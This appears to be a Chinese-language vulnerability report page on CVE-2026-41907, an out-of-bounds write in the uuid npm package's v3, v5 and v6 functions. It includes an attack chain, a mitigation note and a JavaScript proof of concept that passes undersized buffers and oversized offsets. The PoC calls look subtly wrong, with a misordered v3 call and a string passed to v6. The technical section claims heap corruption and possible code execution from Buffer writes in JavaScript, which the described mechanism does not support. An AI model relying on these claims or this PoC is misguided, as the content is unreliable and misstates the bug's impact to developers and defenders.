IPBUF安全漏洞报告
English
CVE-2026-41907 CVSS 7.5 高危

CVE-2026-41907 uuid库越界写入漏洞

披露日期: 2026-04-24

漏洞信息

漏洞编号
CVE-2026-41907
漏洞类型
缓冲区溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
uuid (npm package)

相关标签

缓冲区溢出越界写入uuidnpmCVE-2026-41907

漏洞概述

uuid npm 包在 14.0.0 版本之前存在严重的安全漏洞。该漏洞影响了 v3、v5 和 v6 版本的 UUID 生成功能。由于未正确验证外部输出缓冲区的大小和偏移量,攻击者可以传入过小的缓冲区或过大的偏移量,导致发生越界写入。这种静默的部分写入可能破坏内存完整性,进而引发程序崩溃或数据损坏。官方已在 14.0.0 版本中修复了此问题。

技术细节

该漏洞的核心在于 uuid 库处理 v3、v5 和 v6 生成函数时的参数校验逻辑缺失。当调用者提供自定义的 buffer 和 offset 参数时,库内部没有检查 buffer.length 是否足以容纳 UUID 数据(通常为 16 字节),也没有验证 offset 是否会导致写入超出缓冲区边界。这构成了典型的越界写入漏洞。攻击者若能控制应用程序传入给 uuid 函数的参数,即可触发该漏洞。虽然描述为静默部分写入,但在底层内存操作中,这覆盖了相邻内存区域,可能导致堆损坏、敏感数据泄露,或在特定内存布局下实现任意代码执行。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用是否使用了存在漏洞的 uuid 库(版本 < 14.0.0)。
STEP 2
步骤2
攻击者寻找或构造输入,控制应用调用 uuid v3、v5 或 v6 函数时传入的 buffer 大小或 offset 参数。
STEP 3
步骤3
应用执行 uuid 生成逻辑,由于缺乏边界检查,导致向越界内存地址写入数据。
STEP 4
步骤4
发生内存损坏,可能导致应用拒绝服务、信息泄露或潜在代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-41907: Out-of-bounds write in uuid v3/v5/v6 const { v3, v5, v6 } = require('uuid'); // Scenario 1: Buffer allocation smaller than required (16 bytes) const smallBuffer = Buffer.alloc(8); // Allocating only 8 bytes try { // Attempting to write a 16-byte UUID into an 8-byte buffer // This triggers an out-of-bounds write v3('DNS', '6ba7b810-9dad-11d1-80b4-00c04fd430c8', smallBuffer); console.log('Exploit successful: Silent partial write occurred'); console.log('Modified buffer:', smallBuffer); } catch (e) { console.log('Error caught:', e.message); } // Scenario 2: Large offset causing write beyond buffer const normalBuffer = Buffer.alloc(16); try { // Offset 20 is larger than the buffer size (16) // This causes write operations to skip past the buffer v6('1.2.3.4', normalBuffer, 20); console.log('Exploit successful: Write at large offset'); } catch (e) { console.log('Error caught:', e.message); }

影响范围

uuid < 14.0.0

防御指南

临时缓解措施
如果暂时无法升级,请严格检查所有调用 uuid v3、v5、v6 函数时传入的缓冲区长度,确保其至少为 16 字节,并且 offset 值不会导致写入超出缓冲区范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表